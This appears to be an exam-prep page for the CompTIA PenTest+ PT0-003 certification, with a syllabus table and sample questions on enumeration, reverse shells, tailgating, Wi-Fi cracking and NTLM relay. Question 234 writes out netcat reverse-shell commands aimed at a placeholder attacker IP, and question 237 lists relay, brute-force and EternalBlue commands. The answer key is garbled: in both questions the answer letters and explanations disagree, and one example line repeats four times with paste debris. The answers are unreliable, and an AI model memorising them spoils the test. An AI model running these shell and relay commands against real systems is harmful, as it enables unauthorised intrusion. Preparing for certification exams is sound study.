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CompTIA PT0-003 Exam Syllabus Topics:

Topic	Details
Topic 1	<ul style="list-style-type: none">• Vulnerability Discovery and Analysis: In this section, cybersecurity analysts will learn various techniques to discover vulnerabilities. Analysts will also analyze data from reconnaissance, scanning, and enumeration phases to identify threats. Additionally, it covers physical security concepts, enabling analysts to understand security gaps beyond just the digital landscape.
Topic 2	<ul style="list-style-type: none">• Post-exploitation and Lateral Movement: Cybersecurity analysts will gain skills in establishing and maintaining persistence within a system. This topic also covers lateral movement within an environment and introduces concepts of staging and exfiltration. Lastly, it highlights cleanup and restoration activities, ensuring analysts understand the post-exploitation phase's responsibilities.
Topic 3	<ul style="list-style-type: none">• Reconnaissance and Enumeration: This topic focuses on applying information gathering and enumeration techniques. Cybersecurity analysts will learn how to modify scripts for reconnaissance and enumeration purposes. They will also understand which tools to use for these stages, essential for gathering crucial information before performing deeper penetration tests.

Topic 4	<ul style="list-style-type: none"> • Attacks and Exploits: This extensive topic trains cybersecurity analysts to analyze data and prioritize attacks. Analysts will learn how to conduct network, authentication, host-based, web application, cloud, wireless, and social engineering attacks using appropriate tools. Understanding specialized systems and automating attacks with scripting will also be emphasized.
Topic 5	<ul style="list-style-type: none"> • Engagement Management: In this topic, cybersecurity analysts learn about pre-engagement activities, collaboration, and communication in a penetration testing environment. The topic covers testing frameworks, methodologies, and penetration test reports. It also explains how to analyze findings and recommend remediation effectively within reports, crucial for real-world testing scenarios.

CompTIA PenTest+ Exam Sample Questions (Q233-Q238):

NEW QUESTION # 233

A penetration tester completed OSINT work and needs to identify all subdomains for mydomain.com. Which of the following is the best command for the tester to use?

- A. `nslookup mydomain.com > /path/to/results.txt`
- B. `dig @8.8.8.8 mydomain.com ANY > /path/to/results.txt`
- C. `cat wordlist.txt | xargs -n 1 -I 'X' dig X.mydomain.com`
- D. `crunch 1 2 | xargs -n 1 -I 'X' nslookup X.mydomain.com`

Answer: C

Explanation:

Using dig with a wordlist to identify subdomains is an effective method for subdomain enumeration. The command `cat wordlist.txt | xargs -n 1 -I 'X' dig X.mydomain.com` reads each line from wordlist.txt and performs a DNS lookup for each potential subdomain.

Command Breakdown:

`cat wordlist.txt`: Reads the contents of wordlist.txt, which contains a list of potential subdomains.

`xargs -n 1 -I 'X'`: Takes each line from wordlist.txt and passes it to dig one at a time.

`dig X.mydomain.com`: Performs a DNS lookup for each subdomain.

Why This is the Best Choice:

Efficiency: `xargs` efficiently processes each line from the wordlist and passes it to dig for DNS resolution.

Automation: Automates the enumeration of subdomains, making it a practical choice for large lists.

Benefits:

Automates the process of subdomain enumeration using a wordlist.

Efficiently handles a large number of subdomains.

References from Pentesting Literature:

Subdomain enumeration is a critical part of the reconnaissance phase in penetration testing. Tools like dig and techniques involving wordlists are commonly discussed in penetration testing guides.

HTB write-ups often detail the use of similar commands for efficient subdomain enumeration.

Step-by-Step ExplanationReferences:

Penetration Testing - A Hands-on Introduction to Hacking

HTB Official Writeups

NEW QUESTION # 234

A penetration tester finds an unauthenticated RCE vulnerability on a web server and wants to use it to enumerate other servers on the local network. The web server is behind a firewall that allows only an incoming connection to TCP ports 443 and 53 and unrestricted outbound TCP connections. The target web server is `https://target.comptia.org`. Which of the following should the tester use to perform the task with the fewest web requests?

- A. `/bin/sh -c 'nc <pentester_ip> 443'`
- B. `nc -e /bin/sh -lp 53`
- C. `/bin/sh -c 'nc -l -p 443'`
- D. `nc -e /bin/sh <pentester_ip> 53`

Answer: A

Explanation:

The tester needs to pivot from the compromised web server while bypassing firewall restrictions that allow:

- * Inbound traffic only on TCP 443 (HTTPS) and TCP 53 (DNS)
- * Unrestricted outbound traffic
- * Reverse shell using TCP 443 (Option D):
- * This command initiates an outbound connection to the pentester's machine on port 443, which is allowed by the firewall.
- * Example: `bashCopyEdit/bin/sh -c 'nc <pentester_ip> 443 -e /bin/sh'`
- Example: `bashCopyEdit/bin/sh -c 'nc <pentester_ip> 443 -e /bin/sh'`
- Example: `bashCopyEdit/bin/sh -c 'nc <pentester_ip> 443 -e /bin/sh'`
- Example: `bashCopyEdit/bin/sh -c 'nc <pentester_ip> 443 -e /bin/sh'`
- * The pentester listens on TCP 443 and receives the shell from the target.

NEW QUESTION # 235

Which of the following is a term used to describe a situation in which a penetration tester bypasses physical access controls and gains access to a facility by entering at the same time as an employee?

- A. Site survey
- B. Shoulder surfing
- C. Tailgating
- D. Badge cloning

Answer: C

Explanation:

Tailgating is the term used to describe a situation where a penetration tester bypasses physical access controls and gains access to a facility by entering at the same time as an employee.

Tailgating:

Definition: Tailgating occurs when an unauthorized person follows an authorized person into a restricted area without the latter's consent or knowledge. The authorized person typically opens a door or checkpoint, and the unauthorized person slips in behind them.

Example: An attacker waits near the entrance of a building and enters right after an employee, bypassing security measures.

Physical Security:

Importance: Physical security is a crucial aspect of overall security posture. Tailgating exploits human factors and weaknesses in physical security controls.

Prevention: Security measures such as turnstiles, mantraps, and security personnel can help prevent tailgating.

Pentest Reference:

Physical Penetration Testing: Tailgating is a common technique used in physical penetration tests to assess the effectiveness of an organization's physical security controls.

Social Engineering: Tailgating often involves social engineering, where the attacker relies on the politeness or unawareness of the employee to gain unauthorized access.

By understanding and using tailgating, penetration testers can evaluate the effectiveness of an organization's physical security measures and identify potential vulnerabilities that could be exploited by malicious actors.

NEW QUESTION # 236

Which of the following tools would BEST allow a penetration tester to capture wireless handshakes to reveal a Wi-Fi password from a Windows machine?

- A. Wireshark
- B. Kismet
- C. EAPHammer
- D. Aircrack-ng

Answer: D

Explanation:

The BEST tool to capture wireless handshakes to reveal a Wi-Fi password from a Windows machine is Aircrack-ng. Aircrack-ng is a suite of tools used to assess the security of wireless networks. It starts by capturing wireless network packets [1], then attempts to crack the network password by analyzing them [1].

Aircrack-ng supports FMS, PTW, and other attack types, and can also be used to generate keystreams for WEP and WPA-PSK encryption. It is capable of running on Windows, Linux, and Mac OS X.

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NEW QUESTION # 237

A tester obtains access to an endpoint subnet and wants to move laterally in the network. Given the following Nmap scan output:

Nmap scan report for some_host

Host is up (0.01s latency).

PORT STATE SERVICE

445/tcp open microsoft-ds

Host script results:

smb2-security-mode: Message signing disabled

Which of the following command and attack methods is the most appropriate for reducing the chances of being detected?

- A. `hydra -L administrator -P /path/to/passwdlist smb://<target>`
- B. `nmap --script smb-brute.nse -p 445 <target>`
- C. `responder -I eth0 -dvv ntlmrelayx.py -smb2support -tf <target>`
- D. `msf> use exploit/windows/smb/ms17_010_psexec`

Answer: C

Explanation:

The Nmap scan output indicates SMB (port 445) is open, and message signing is disabled. This makes the system vulnerable to NTLM relay attacks.

* Option A (`responder -I eth0 -dvv ntlmrelayx.py -smb2support -tf <target>`) #: Correct.

* Responder poisons LLMNR and NBT-NS requests, capturing NTLM hashes.

* NTLMRelayX then relays captured hashes to an SMB service without message signing, allowing unauthorized access.

* This attack is stealthier than brute-force methods.

* Option B (`ms17_010_psexec`) #: This exploits EternalBlue, but we don't have confirmation that this system is vulnerable to MS17-010.

* Option C (`hydra brute-force`) #: SMB brute-force is noisy and will likely trigger alerts.

* Option D (`smb-brute.nse`) #: This brute-force attack is also loud and detectable.

Reference: CompTIA PenTest+ PT0-003 Official Guide - NTLM Relay & SMB Exploitation

NEW QUESTION # 238

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